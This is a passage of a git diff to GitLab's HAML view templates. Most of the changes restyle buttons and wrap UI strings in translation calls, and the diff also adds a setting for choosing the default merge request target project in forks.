+ - button_text = s_('ProjectPage|Project ID: %{project_id}') % { project_id: @project.id }
+ = clipboard_button(title: s_('ProjectPage|Copy project ID'), text: @project.id, hide_button_icon: true, button_text: button_text, class: button_class, qa_selector: 'project_id_content', itemprop: 'identifier')
- if current_user
%span.access-request-links.gl-ml-3
= render 'shared/members/access_request_links', source: @project
diff --git a/app/views/projects/_invite_members.html.haml b/app/views/projects/_invite_members.html.haml
index ef030cabc93..e3a512d6451 100644
--- a/app/views/projects/_invite_members.html.haml
+++ b/app/views/projects/_invite_members.html.haml
@@ -4,5 +4,5 @@
= s_('InviteMember|Invite your team')
%p= s_('InviteMember|Add members to this project and start collaborating with your team.')
= link_to s_('InviteMember|Invite members'), project_project_members_path(@project, sort: :access_level_desc),
- class: 'gl-button btn btn-success gl-mb-8 gl-xs-w-full',
+ class: 'gl-button btn btn-confirm gl-mb-8 gl-xs-w-full',
data: { track_event: 'click_button', track_label: 'invite_members_empty_project' }
diff --git a/app/views/projects/_merge_request_settings.html.haml b/app/views/projects/_merge_request_settings.html.haml
index a54eb2dddac..f595b4f709b 100644
--- a/app/views/projects/_merge_request_settings.html.haml
+++ b/app/views/projects/_merge_request_settings.html.haml
@@ -9,3 +9,6 @@
= render 'projects/merge_request_merge_checks_settings', project: @project, form: form
= render 'projects/merge_request_merge_suggestions_settings', project: @project, form: form
+
+- if @project.forked?
+ = render 'projects/merge_request_target_project_settings', project: @project, form: form
diff --git a/app/views/projects/_merge_request_target_project_settings.html.haml b/app/views/projects/_merge_request_target_project_settings.html.haml
new file mode 100644
index 00000000000..41d37884ac9
--- /dev/null
+++ b/app/views/projects/_merge_request_target_project_settings.html.haml
@@ -0,0 +1,23 @@
+- return unless @project.mr_can_target_upstream? && can?(current_user, :read_project, @project.forked_from_project)
+
+- form = local_assigns.fetch(:form)
+
+= form.fields_for :project_setting do |settings|
+ .form-group
+ %b= s_('ProjectSettings|Target project')
+ %p.text-secondary
+ = s_('ProjectSettings|The default target project for merge requests created in this fork project.')
+
+ .form-check.gl-mb-2
+ = settings.radio_button :mr_default_target_self, false, class: "form-check-input"
+ = label_tag :project_project_setting_attributes_mr_default_target_self_false, class: 'form-check-label' do
+ .gl-font-weight-bold
+ = s_('ProjectSettings|Upstream project')
+ = @project.forked_from_project.full_name
+
+ .form-check.gl-mb-2
+ = settings.radio_button :mr_default_target_self, true, class: "form-check-input"
+ = label_tag :project_project_setting_attributes_mr_default_target_self_true, class: 'form-check-label' do
+ .gl-font-weight-bold
+ = s_('ProjectSettings|This project')
+ = @project.full_name
diff --git a/app/views/projects/_new_project_fields.html.haml b/app/views/projects/_new_project_fields.html.haml
index 8b1bf37ff10..4695cd59f32 100644
--- a/app/views/projects/_new_project_fields.html.haml
+++ b/app/views/projects/_new_project_fields.html.haml
@@ -12,7 +12,7 @@
.form-group.project-path.col-sm-6
= f.label :namespace_id, class: 'label-bold' do
%span= s_("Project URL")
- .input-group.flex-nowrap
+ .input-group.gl-flex-nowrap
- if current_user.can_select_namespace?
.input-group-prepend.flex-shrink-0.has-tooltip{ title: root_url }
.input-group-text
@@ -62,5 +62,5 @@
.option-description
= s_('ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository.')
-= f.submit _('Create project'), class: "btn gl-button btn-success", data: { track_label: "#{track_label}", track_event: "click_button", track_property: "create_project", track_value: "" }
+= f.submit _('Create project'), class: "btn gl-button btn-confirm", data: { track_label: "#{track_label}", track_event: "click_button", track_property: "create_project", track_value: "" }
= link_to _('Cancel'), dashboard_projects_path, class: 'btn gl-button btn-default btn-cancel', data: { track_label: "#{track_label}", track_event: "click_button", track_property: "cancel", track_value: "" }
diff --git a/app/views/projects/_readme.html.haml b/app/views/projects/_readme.html.haml
index da3133dfe15..85a53edc160 100644
--- a/app/views/projects/_readme.html.haml
+++ b/app/views/projects/_readme.html.haml
@@ -24,4 +24,4 @@
distributed with computer software, forming part of its documentation.
GitLab will render it here instead of this message.
%p
- = link_to "Add Readme", @project.add_readme_path, class: 'btn btn-success'
+ = link_to "Add Readme", @project.add_readme_path, class: 'gl-button btn btn-confirm'
diff --git a/app/views/projects/_service_desk_settings.html.haml b/app/views/projects/_service_desk_settings.html.haml
index 53b9e7f3d65..7b345941cf7 100644
--- a/app/views/projects/_service_desk_settings.html.haml
+++ b/app/views/projects/_service_desk_settings.html.haml
@@ -2,7 +2,7 @@
%section.settings.js-service-desk-setting-wrapper.no-animate#js-service-desk{ class: ('expanded' if expanded), data: { qa_selector: 'service_desk_settings_content' } }
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only= _('Service Desk')
- %button.btn.gl-button.js-settings-toggle
+ %button.btn.gl-button.btn-default.js-settings-toggle
= expanded ? _('Collapse') : _('Expand')
- link_start = "<a href='#{help_page_path('user/project/service_desk')}' target='_blank' rel='noopener noreferrer'>".html_safe
%p= _('Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
diff --git a/app/views/projects/_wiki.html.haml b/app/views/projects/_wiki.html.haml
index 2669c4c0042..45d0aee4332 100644
--- a/app/views/projects/_wiki.html.haml
+++ b/app/views/projects/_wiki.html.haml
@@ -14,4 +14,4 @@
- if can_create_wiki
%p
= _("Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message.")
- = link_to _("Create your first page"), wiki_path(@project.wiki) + '?view=create', class: "btn gl-button btn-primary"
+ = link_to _("Create your first page"), wiki_path(@project.wiki) + '?view=create', class: "btn gl-button btn-confirm"
diff --git a/app/views/projects/blob/_blob.html.haml b/app/views/projects/blob/_blob.html.haml
index a0f644717ad..84f2d352bc9 100644
--- a/app/views/projects/blob/_blob.html.haml
+++ b/app/views/projects/blob/_blob.html.haml
@@ -11,6 +11,11 @@
#blob-content-holder.blob-content-holder
- if @code_navigation_path
#js-code-navigation{ data: { code_navigation_path: @code_navigation_path, blob_path: blob.path, definition_path_prefix: project_blob_path(@project, @ref) } }
- %article.file-holder
- = render 'projects/blob/header', blob: blob
- = render 'projects/blob/content', blob: blob
+ - if Feature.enabled?(:refactor_blob_viewer, @project, default_enabled: :yaml)
+ #js-view-blob-app{ data: { blob_path: blob.path } }
+ .gl-spinner-container
+ = loading_icon(size: 'md')
+ - else
+ %article.file-holder
+ = render 'projects/blob/header', blob: blob
+ = render 'projects/blob/content', blob: blob
diff --git a/app/views/projects/blob/_header.html.haml b/app/views/projects/blob/_header.html.haml
index a7f13989ca7..d7668dd1c91 100644
--- a/app/views/projects/blob/_header.html.haml
+++ b/app/views/projects/blob/_header.html.haml
@@ -9,6 +9,8 @@
- else
= edit_blob_button(@project, @ref, @path, blob: blob)
= ide_edit_button(@project, @ref, @path, blob: blob)
+ - if can_view_pipeline_editor?(@project) && @path == @project.ci_config_path_or_default
+ = link_to "Pipeline Editor", project_ci_pipeline_editor_path(@project), class: "btn gl-button btn-confirm-secondary gl-ml-3"
.btn-group{ role: "group", class: ("gl-ml-3" if current_user) }>
= render_if_exists 'projects/blob/header_file_locks_link'
- if current_user
diff --git a/app/views/projects/blob/_new_dir.html.haml b/app/views/projects/blob/_new_dir.html.haml
index ca60827863a..57477e59167 100644
--- a/app/views/projects/blob/_new_dir.html.haml
+++ b/app/views/projects/blob/_new_dir.html.haml
@@ -15,7 +15,7 @@
= render 'shared/new_commit_form', placeholder: _("Add new directory")
.form-actions
- = submit_tag _("Create directory"), class: 'btn gl-button btn-success'
- = link_to "Cancel", '#', class: "btn gl-button btn-cancel", "data-dismiss" => "modal"
+ = submit_tag _("Create directory"), class: 'btn gl-button btn-confirm'
+ = link_to "Cancel", '#', class: "btn gl-button btn-default btn-cancel", "data-dismiss" => "modal"
= render 'shared/projects/edit_information'
diff --git a/app/views/projects/blob/_template_selectors.html.haml b/app/views/projects/blob/_template_selectors.html.haml
index 717c03ad27d..24a4db010c8 100644
--- a/app/views/projects/blob/_template_selectors.html.haml
+++ b/app/views/projects/blob/_template_selectors.html.haml
@@ -10,7 +10,7 @@
.metrics-dashboard-selector.js-metrics-dashboard-selector-wrap.js-template-selector-wrap.hidden
= dropdown_tag(_("Apply a template"), options: { toggle_class: 'js-metrics-dashboard-selector qa-metrics-dashboard-dropdown', dropdown_class: 'dropdown-menu-selectable', filter: true, placeholder: "Filter", data: { data: metrics_dashboard_ymls(@project) } } )
#gitlab-ci-yml-selector.gitlab-ci-yml-selector.js-gitlab-ci-yml-selector-wrap.js-template-selector-wrap.hidden
- = dropdown_tag(_("Apply a template"), options: { toggle_class: 'js-gitlab-ci-yml-selector qa-gitlab-ci-yml-dropdown', dropdown_class: 'dropdown-menu-selectable', filter: true, placeholder: "Filter", data: { data: gitlab_ci_ymls(@project) } } )
+ = dropdown_tag(_("Apply a template"), options: { toggle_class: 'js-gitlab-ci-yml-selector qa-gitlab-ci-yml-dropdown', dropdown_class: 'dropdown-menu-selectable', filter: true, placeholder: "Filter", data: { data: gitlab_ci_ymls(@project), selected: params[:template] } } )
- if experiment_enabled?(:ci_syntax_templates_b, subject: current_user) && @project.namespace.recent?
.gitlab-ci-syntax-yml-selector.js-gitlab-ci-syntax-yml-selector-wrap.js-template-selector-wrap.hidden
= dropdown_tag(_("Learn CI/CD syntax"), options: { toggle_class: 'js-gitlab-ci-syntax-yml-selector qa-gitlab-ci-syntax-yml-dropdown', dropdown_class: 'dropdown-menu-selectable', filter: true, placeholder: "Filter", data: { data: gitlab_ci_syntax_ymls(@project) } } )
diff --git a/app/views/projects/blob/_upload.html.haml b/app/views/projects/blob/_upload.html.haml
index b68c75701b9..c42b54ec61d 100644
--- a/app/views/projects/blob/_upload.html.haml
+++ b/app/views/projects/blob/_upload.html.haml
@@ -20,9 +20,9 @@
= render 'shared/new_commit_form', placeholder: placeholder, ref: local_assigns[:ref]
.form-actions
- = button_tag class: 'btn gl-button btn-success btn-upload-file', id: 'submit-all', type: 'button' do
+ = button_tag class: 'btn gl-button btn-confirm btn-upload-file', id: 'submit-all', type: 'button' do
.spinner.spinner-sm.gl-mr-2.js-loading-icon.hidden
= button_title
- = link_to _("Cancel"), '#', class: "btn gl-button btn-cancel", "data-dismiss" => "modal"
+ = link_to _("Cancel"), '#', class: "btn gl-button btn-default btn-cancel", "data-dismiss" => "modal"
= render 'shared/projects/edit_information'
diff --git a/app/views/projects/blob/viewers/_empty.html.haml b/app/views/projects/blob/viewers/_empty.html.haml
index a293a8de231..c15dabc9111 100644
--- a/app/views/projects/blob/viewers/_empty.html.haml
+++ b/app/views/projects/blob/viewers/_empty.html.haml
@@ -1,3 +1,3 @@
.file-content.code
.nothing-here-block
- Empty file
+ = _("Empty file")
diff --git a/app/views/projects/blob/viewers/_loading_auxiliary.html.haml b/app/views/projects/blob/viewers/_loading_auxiliary.html.haml
index 5a6c1a493a5..5a2212e0b4e 100644
--- a/app/views/projects/blob/viewers/_loading_auxiliary.html.haml
+++ b/app/views/projects/blob/viewers/_loading_auxiliary.html.haml
@@ -1,2 +1,2 @@
= loading_icon(css_class: "gl-vertical-align-text-bottom")
-Analyzing file…
+= _("Analyzing file…")
diff --git a/app/views/projects/blob/viewers/_stl.html.haml b/app/views/projects/blob/viewers/_stl.html.haml
index 44c986595df..f98deebacf9 100644
--- a/app/views/projects/blob/viewers/_stl.html.haml
+++ b/app/views/projects/blob/viewers/_stl.html.haml
@@ -3,7 +3,7 @@
= loading_icon(size: "md", css_class: "gl-mt-4 gl-mb-3")
.text-center.gl-mt-3.gl-mb-3.stl-controls
.btn-group
- %button.btn.btn-default.btn-sm.js-material-changer{ data: { type: 'wireframe' } }
+ %button.gl-button.btn.btn-default.btn-sm.js-material-changer{ data: { type: 'wireframe' } }
Wireframe
- %button.btn.btn-default.btn-sm.active.js-material-changer{ data: { type: 'default' } }
+ %button.gl-button.btn.btn-default.btn-sm.selected.js-material-changer{ data: { type: 'default' } }
Solid
diff --git a/app/views/projects/branches/_branch.html.haml b/app/views/projects/branches/_branch.html.haml
index 6f86ccd7824..a5414ce7ef2 100644
--- a/app/views/projects/branches/_branch.html.haml
+++ b/app/views/projects/branches/_branch.html.haml
@@ -52,11 +52,11 @@
- if branch.name == @project.repository.root_ref
- delete_default_branch_tooltip = s_('Branches|The default branch cannot be deleted')
%span.has-tooltip{ title: delete_default_branch_tooltip }
- %button{ class: "gl-button btn btn-danger remove-row disabled", disabled: true, 'aria-label' => delete_default_branch_tooltip }
+ %button{ class: "gl-button btn btn-danger disabled", disabled: true, 'aria-label' => delete_default_branch_tooltip }
= sprite_icon("remove")
- elsif protected_branch?(@project, branch)
- if can?(current_user, :push_to_delete_protected_branch, @project)
- %button{ class: "gl-button btn btn-danger remove-row has-tooltip",
+ %button{ class: "gl-button btn btn-danger has-tooltip",
title: s_('Branches|Delete protected branch'),
data: { toggle: "modal",
target: "#modal-delete-branch",
@@ -67,11 +67,11 @@
- else
- delete_protected_branch_tooltip = s_('Branches|Only a project maintainer or owner can delete a protected branch')
%span.has-tooltip{ title: delete_protected_branch_tooltip }
- %button{ class: "gl-button btn btn-danger remove-row disabled", disabled: true, 'aria-label' => delete_protected_branch_tooltip }
+ %button{ class: "gl-button btn btn-danger disabled", disabled: true, 'aria-label' => delete_protected_branch_tooltip }
= sprite_icon("remove")
- else
= link_to project_branch_path(@project, branch.name),
- class: "gl-button btn btn-danger remove-row qa-remove-btn js-ajax-loading-spinner has-tooltip",
+ class: "gl-button btn btn-danger js-remove-row qa-remove-btn js-ajax-loading-spinner has-tooltip",
title: s_('Branches|Delete branch'),
method: :delete,
data: { confirm: s_("Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?") % { branch_name: branch.name } },
diff --git a/app/views/projects/branches/_delete_protected_modal.html.haml b/app/views/projects/branches/_delete_protected_modal.html.haml
index 24beeeb0ae1..5c5653401fb 100644
--- a/app/views/projects/branches/_delete_protected_modal.html.haml
+++ b/app/views/projects/branches/_delete_protected_modal.html.haml
@@ -34,7 +34,7 @@
= text_field_tag 'delete_branch_input', '', class: 'form-control js-delete-branch-input'
.modal-footer
- %button.btn{ data: { dismiss: 'modal' } } Cancel
+ %button.gl-button.btn.btn-default{ data: { dismiss: 'modal' } } Cancel
= link_to s_('Branches|Delete protected branch'), '',
class: "gl-button btn btn-danger js-delete-branch",
title: s_('Branches|Delete branch'),
diff --git a/app/views/projects/branches/index.html.haml b/app/views/projects/branches/index.html.haml
index beccf458138..129b207a26f 100644
--- a/app/views/projects/branches/index.html.haml
+++ b/app/views/projects/branches/index.html.haml
@@ -16,21 +16,7 @@
= link_to s_('Branches|All'), project_branches_filtered_path(@project, state: 'all'), title: s_('Branches|Show all branches')
.nav-controls
- = form_tag(project_branches_filtered_path(@project, state: 'all'), method: :get) do
- = search_field_tag :search, params[:search], { placeholder: s_('Branches|Filter by branch name'), id: 'branch-search', class: 'form-control search-text-input input-short', spellcheck: false }
-
- - unless @mode == 'overview'
- .dropdown.inline>
- %button.dropdown-menu-toggle{ type: 'button', 'data-toggle' => 'dropdown' }
- %span.light
- = branches_sort_options_hash[@sort]
- = sprite_icon('chevron-down', css_class: "dropdown-menu-toggle-icon gl-top-3")
- %ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable
- %li.dropdown-header
- = s_('Branches|Sort by')
- - branches_sort_options_hash.each do |value, title|
- %li
- = link_to title, project_branches_filtered_path(@project, state: 'all', search: params[:search], sort: value), class: ("is-active" if @sort == value)
+ #js-branches-sort-dropdown{ data: { project_branches_filtered_path: project_branches_path(@project, state: 'all'), sort_options: branches_sort_options_hash.to_json, mode: @mode } }
- if can? current_user, :push_code, @project
= link_to project_merged_branches_path(@project),
@@ -40,12 +26,12 @@
data: { confirm: s_('Branches|Deleting the merged branches cannot be undone. Are you sure?'),
container: 'body' } do
= s_('Branches|Delete merged branches')
- = link_to new_project_branch_path(@project), class: 'gl-button btn btn-success' do
+ = link_to new_project_branch_path(@project), class: 'gl-button btn btn-confirm' do
= s_('Branches|New branch')
= render_if_exists 'projects/commits/mirror_status'
-.js-branch-list{ data: { diverging_counts_endpoint: diverging_commit_counts_namespace_project_branches_path(@project.namespace, @project, format: :json) } }
+.js-branch-list{ data: { diverging_counts_endpoint: diverging_commit_counts_namespace_project_branches_path(@project.namespace, @project, format: :json), default_branch: @project.default_branch } }
- if can?(current_user, :admin_project, @project)
- project_settings_link = link_to s_('Branches|project settings'), project_protected_branches_path(@project)
.row-content-block
diff --git a/app/views/projects/branches/new.html.haml b/app/views/projects/branches/new.html.haml
index 17314cd7c5a..6cb2c435a30 100644
--- a/app/views/projects/branches/new.html.haml
+++ b/app/views/projects/branches/new.html.haml
@@ -29,6 +29,6 @@
= render 'shared/ref_dropdown', dropdown_class: 'wide'
.form-text.text-muted Existing branch name, tag, or commit SHA
.form-actions
- = button_tag 'Create branch', class: 'gl-button btn btn-success'
- = link_to 'Cancel', project_branches_path(@project), class: 'gl-button btn btn-cancel'
+ = button_tag 'Create branch', class: 'gl-button btn btn-confirm'
+ = link_to 'Cancel', project_branches_path(@project), class: 'gl-button btn btn-default btn-cancel'
%script#availableRefs{ type: "application/json" }= @project.repository.ref_names.to_json.html_safe
diff --git a/app/views/projects/buttons/_remove_tag.html.haml b/app/views/projects/buttons/_remove_tag.html.haml
index 68a9d715674..cdf6336a259 100644
--- a/app/views/projects/buttons/_remove_tag.html.haml
+++ b/app/views/projects/buttons/_remove_tag.html.haml
@@ -2,5 +2,5 @@
- tag = local_assigns.fetch(:tag, nil)
- return unless project && tag
-%button{ type: "button", class: "js-remove-tag js-confirm-modal-button gl-button btn btn-danger btn-icon remove-row has-tooltip gl-ml-3 #{protected_tag?(project, tag) ? 'disabled' : ''}", title: s_('TagsPage|Delete tag'), data: { container: 'body', path: project_tag_path(@project, tag.name), modal_attributes: delete_tag_modal_attributes(tag.name) } }
+%button{ type: "button", class: "js-remove-tag js-confirm-modal-button gl-button btn btn-danger btn-icon has-tooltip gl-ml-3 #{protected_tag?(project, tag) ? 'disabled' : ''}", title: s_('TagsPage|Delete tag'), data: { container: 'body', path: project_tag_path(@project, tag.name), modal_attributes: delete_tag_modal_attributes(tag.name) } }
= sprite_icon("remove")
diff --git a/app/views/projects/ci/pipeline_editor/show.html.haml b/app/views/projects/ci/pipeline_editor/show.html.haml
index 3e10cf49b66..eb588e150f7 100644
--- a/app/views/projects/ci/pipeline_editor/show.html.haml
+++ b/app/views/projects/ci/pipeline_editor/show.html.haml
@@ -1,14 +1,3 @@
- page_title s_('Pipelines|Pipeline Editor')
-#js-pipeline-editor{ data: { "ci-config-path": @project.ci_config_path_or_default,
- "commit-sha" => @project.commit ? @project.commit.sha : '',
- "default-branch" => @project.default_branch,
- "empty-state-illustration-path" => image_path('illustrations/empty-state/empty-dag-md.svg'),
- "initial-branch-name": params[:branch_name],
- "lint-help-page-path" => help_page_path('ci/lint', anchor: 'validate-basic-logic-and-syntax'),
- "new-merge-request-path" => namespace_project_new_merge_request_path,
- "project-path" => @project.path,
- "project-full-path" => @project.full_path,
- "project-namespace" => @project.namespace.full_path,
- "yml-help-page-path" => help_page_path('ci/yaml/README'),
-} }
+#js-pipeline-editor{ data: js_pipeline_editor_data(@project) }
diff --git a/app/views/projects/cleanup/_show.html.haml b/app/views/projects/cleanup/_show.html.haml
index b0112be0e3d..5e14b6dacfd 100644
--- a/app/views/projects/cleanup/_show.html.haml
+++ b/app/views/projects/cleanup/_show.html.haml
@@ -21,7 +21,7 @@
.gl-mb-3
%h5.gl-mt-0
= _("Upload object map")
- %button.btn.btn-default.js-choose-file{ type: "button" }
+ %button.gl-button.btn.btn-default.js-choose-file{ type: "button" }
= _("Choose a file")
%span.gl-ml-3.js-filename
= _("No file selected")
@@ -29,4 +29,4 @@
.form-text.text-muted
= _("The maximum file size is %{size}.") % { size: number_to_human_size(Gitlab::CurrentSettings.max_attachment_size.megabytes) }
- = f.submit _('Start cleanup'), class: 'gl-button btn btn-success'
+ = f.submit _('Start cleanup'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/projects/commit/_commit_box.html.haml b/app/views/projects/commit/_commit_box.html.haml
index 974393b893b..1b28136e82c 100644
--- a/app/views/projects/commit/_commit_box.html.haml
+++ b/app/views/projects/commit/_commit_box.html.haml
@@ -1,5 +1,3 @@
-- can_collaborate = can_collaborate_with_project?(@project)
-
.page-content-header
.header-main-content
= render partial: 'signature', object: @commit.signature
@@ -20,36 +18,9 @@
= commit_committer_link(@commit, avatar: true, size: 24)
#{time_ago_with_tooltip(@commit.committed_date)}
- .header-action-buttons
- - if defined?(@notes_count) && @notes_count > 0
- %span.btn.gl-button.btn-default.disabled.gl-button.btn-icon.d-none.d-sm-inline.gl-mr-3.has-tooltip{ title: n_("%d comment on this commit", "%d comments on this commit", @notes_count) % @notes_count }
- = sprite_icon('comment')
- = @notes_count
- = link_to project_tree_path(@project, @commit), class: "btn gl-button btn-default gl-mr-3 d-none d-md-inline" do
- #{ _('Browse files') }
- .dropdown.inline
- %a.btn.gl-button.btn-default.dropdown-toggle.qa-options-button.d-md-inline{ data: { toggle: "dropdown" } }
- %span= _('Options')
- = sprite_icon('chevron-down', css_class: 'gl-text-gray-500')
- %ul.dropdown-menu.dropdown-menu-right
- %li.d-block.d-sm-none
- = link_to project_tree_path(@project, @commit) do
- #{ _('Browse Files') }
- - if can_collaborate && !@commit.has_been_reverted?(current_user)
- %li.clearfix
- = revert_commit_link
- - if can_collaborate
- %li.clearfix
- = cherry_pick_commit_link
- - if can?(current_user, :push_code, @project)
- %li.clearfix
- = link_to s_('CreateTag|Tag'), new_project_tag_path(@project, ref: @commit)
- %li.divider
- %li.dropdown-header
- #{ _('Download') }
- - unless @commit.parents.length > 1
- %li= link_to s_('DownloadCommit|Email Patches'), project_commit_path(@project, @commit, format: :patch), class: "qa-email-patches", rel: 'nofollow', download: ''
- %li= link_to s_('DownloadCommit|Plain Diff'), project_commit_path(@project, @commit, format: :diff), class: "qa-plain-diff", rel: 'nofollow', download: ''
+ #js-commit-comments-button{ data: { comments_count: @notes_count.to_i } }
+ = link_to _('Browse files'), project_tree_path(@project, @commit), class: "btn gl-button btn-default gl-mr-3 gl-xs-w-full gl-xs-mb-3"
+ #js-commit-options-dropdown{ data: commit_options_dropdown_data(@project, @commit) }
.commit-box{ data: { project_path: project_path(@project) } }
%h3.commit-title
@@ -85,11 +56,8 @@
- if @last_pipeline.stages_count.nonzero?
#{ n_(s_('Pipeline|with stage'), s_('Pipeline|with stages'), @last_pipeline.stages_count) }
.mr-widget-pipeline-graph
- - if ::Gitlab::Ci::Features.ci_commit_pipeline_mini_graph_vue_enabled?(@project)
- .stage-cell
- .js-commit-pipeline-mini-graph{ data: { stages: @last_pipeline_stages.to_json.html_safe } }
- - else
- = render 'shared/mini_pipeline_graph', pipeline: @last_pipeline, klass: 'js-commit-pipeline-graph'
+ .stage-cell
+ .js-commit-pipeline-mini-graph{ data: { stages: @last_pipeline_stages.to_json.html_safe } }
- if @last_pipeline.duration
in
= time_interval_in_words @last_pipeline.duration
diff --git a/app/views/projects/commits/_commits.html.haml b/app/views/projects/commits/_commits.html.haml
index a8a928515fe..9e2dca3ad71 100644
--- a/app/views/projects/commits/_commits.html.haml
+++ b/app/views/projects/commits/_commits.html.haml
@@ -20,7 +20,7 @@
%li.commit-header.js-commit-header
%span.font-weight-bold= n_("%d previously merged commit", "%d previously merged commits", context_commits.count) % context_commits.count
- if project.context_commits_enabled? && can_update_merge_request
- %button.btn.btn-default.ml-3.add-review-item-modal-trigger{ type: "button", data: { context_commits_empty: 'false' } }
+ %button.gl-button.btn.btn-default.ml-3.add-review-item-modal-trigger{ type: "button", data: { context_commits_empty: 'false' } }
= _('Add/remove')
%li.commits-row
@@ -33,7 +33,7 @@
= n_('%s additional commit has been omitted to prevent performance issues.', '%s additional commits have been omitted to prevent performance issues.', hidden) % number_with_delimiter(hidden)
- if project.context_commits_enabled? && can_update_merge_request && context_commits&.empty?
- %button.btn.btn-default.mt-3.add-review-item-modal-trigger{ type: "button", data: { context_commits_empty: 'true' } }
+ %button.gl-button.btn.btn-default.mt-3.add-review-item-modal-trigger{ type: "button", data: { context_commits_empty: 'true' } }
= _('Add previously merged commits')
- if commits.size == 0 && context_commits.nil?
diff --git a/app/views/projects/default_branch/_show.html.haml b/app/views/projects/default_branch/_show.html.haml
index 728f035555e..9e9fc08dac0 100644
--- a/app/views/projects/default_branch/_show.html.haml
+++ b/app/views/projects/default_branch/_show.html.haml
@@ -28,4 +28,4 @@
= _("When merge requests and commits in the default branch close, any issues they reference also close.")
= link_to sprite_icon('question-o'), help_page_path('user/project/issues/managing_issues.md', anchor: 'disabling-automatic-issue-closing'), target: '_blank'
- = f.submit _('Save changes'), class: "gl-button btn btn-success"
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/projects/deploy_keys/edit.html.haml b/app/views/projects/deploy_keys/edit.html.haml
index 780ec128d63..f0214ade313 100644
--- a/app/views/projects/deploy_keys/edit.html.haml
+++ b/app/views/projects/deploy_keys/edit.html.haml
@@ -6,5 +6,5 @@
= form_for [@project, @deploy_key], include_id: false, html: { class: 'js-requires-input' } do |f|
= render partial: 'shared/deploy_keys/form', locals: { form: f, deploy_key: @deploy_key }
.form-actions
- = f.submit 'Save changes', class: 'btn-success btn'
- = link_to 'Cancel', project_settings_repository_path(@project), class: 'gl-button btn btn-cancel'
+ = f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
+ = link_to _('Cancel'), project_settings_repository_path(@project), class: 'gl-button btn btn-default btn-cancel'
diff --git a/app/views/projects/diffs/_diffs.html.haml b/app/views/projects/diffs/_diffs.html.haml
index cec8948aaa4..1c7a9ffe0bb 100644
--- a/app/views/projects/diffs/_diffs.html.haml
+++ b/app/views/projects/diffs/_diffs.html.haml
@@ -8,7 +8,7 @@
.content-block.oneline-block.files-changed.diff-files-changed.js-diff-files-changed
.files-changed-inner
- .inline-parallel-buttons.d-none.d-md-block
+ .inline-parallel-buttons.gl-display-none.gl-md-display-flex
- if !diffs_expanded? && diff_files.any? { |diff_file| diff_file.collapsed? }
= link_to _('Expand all'), url_for(safe_params.merge(expanded: 1, format: nil)), class: 'gl-button btn btn-default'
- if show_whitespace_toggle
@@ -20,7 +20,7 @@
= diff_compare_whitespace_link(diffs.project, params[:from], params[:to], class: 'd-none d-sm-inline-block')
- elsif current_controller?(:wikis)
= toggle_whitespace_link(url_for(params_with_whitespace), class: 'd-none d-sm-inline-block')
- .btn-group
+ .btn-group.gl-ml-3
= inline_diff_btn
= parallel_diff_btn
= render 'projects/diffs/stats', diff_files: diff_files
diff --git a/app/views/projects/diffs/_file.html.haml b/app/views/projects/diffs/_file.html.haml
index 9197b177b7b..35e2fe1b398 100644
--- a/app/views/projects/diffs/_file.html.haml
+++ b/app/views/projects/diffs/_file.html.haml
@@ -14,10 +14,10 @@
= submodule_diff_compare_link(diff_file)
- unless diff_file.submodule?
- .file-actions.d-none.d-sm-block
+ .file-actions.gl-display-none.gl-sm-display-flex
- if diff_file.blob&.readable_text?
- %span.has-tooltip{ title: _("Toggle comments for this file") }
- = link_to '#', class: 'js-toggle-diff-comments btn gl-button btn-default selected', disabled: @diff_notes_disabled do
+ %span.has-tooltip.gl-mr-3{ title: _("Toggle comments for this file") }
+ = link_to '#', class: 'js-toggle-diff-comments btn gl-button btn-default btn-icon selected', disabled: @diff_notes_disabled do
= sprite_icon('comment')
\
- if editable_diff?(diff_file)
diff --git a/app/views/projects/diffs/_file_header.html.haml b/app/views/projects/diffs/_file_header.html.haml
index 4a00e0af9d9..d1792826522 100644
--- a/app/views/projects/diffs/_file_header.html.haml
+++ b/app/views/projects/diffs/_file_header.html.haml
@@ -23,7 +23,7 @@
%strong.file-title-name.has-tooltip.gl-word-break-all{ data: { title: diff_file.new_path, container: 'body' } }
= new_path
- else
- %strong.file-title-name.has-tooltip.gl-word-break-all{ data: { title: diff_file.file_path, container: 'body' } }
+ %strong.file-title-name.has-tooltip.gl-word-break-all{ data: { title: diff_file.file_path, container: 'body', qa_selector: 'file_name_content' } }
= diff_file.file_path
- if diff_file.deleted_file?
@@ -37,3 +37,4 @@
- if diff_file.stored_externally? && diff_file.external_storage == :lfs
%span.badge.label-lfs.gl-mr-2 LFS
+
diff --git a/app/views/projects/diffs/viewers/_collapsed.html.haml b/app/views/projects/diffs/viewers/_collapsed.html.haml
index 02f499144c0..578b0af3241 100644
--- a/app/views/projects/diffs/viewers/_collapsed.html.haml
+++ b/app/views/projects/diffs/viewers/_collapsed.html.haml
@@ -1,3 +1,3 @@
.nothing-here-block.diff-collapsed{ data: { diff_for_path: collapsed_diff_url(viewer.diff_file) } }
= _("This diff is collapsed.")
- %button.click-to-expand.btn.btn-link= _("Click to expand it.")
+ %button.click-to-expand.gl-button.btn.btn-link= _("Click to expand it.")
diff --git a/app/views/projects/edit.html.haml b/app/views/projects/edit.html.haml
index 9388c5fad6d..ecaf3467cd2 100644
--- a/app/views/projects/edit.html.haml
+++ b/app/views/projects/edit.html.haml
@@ -3,8 +3,6 @@
- @content_class = "limit-container-width" unless fluid_layout
- expanded = expanded_by_default?
-- enable_search_settings
-
%section.settings.general-settings.no-animate.expanded#js-general-settings
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only= _('Naming, topics, avatar')
@@ -25,7 +23,7 @@
.js-project-permissions-form
- if show_visibility_confirm_modal?(@project)
= render "visibility_modal"
- = f.submit _('Save changes'), class: "btn gl-button btn-success #{('js-confirm-danger' if show_visibility_confirm_modal?(@project))}", data: { qa_selector: 'visibility_features_permissions_save_button', check_field_name: ("project[visibility_level]" if show_visibility_confirm_modal?(@project)), check_compare_value: @project.visibility_level }
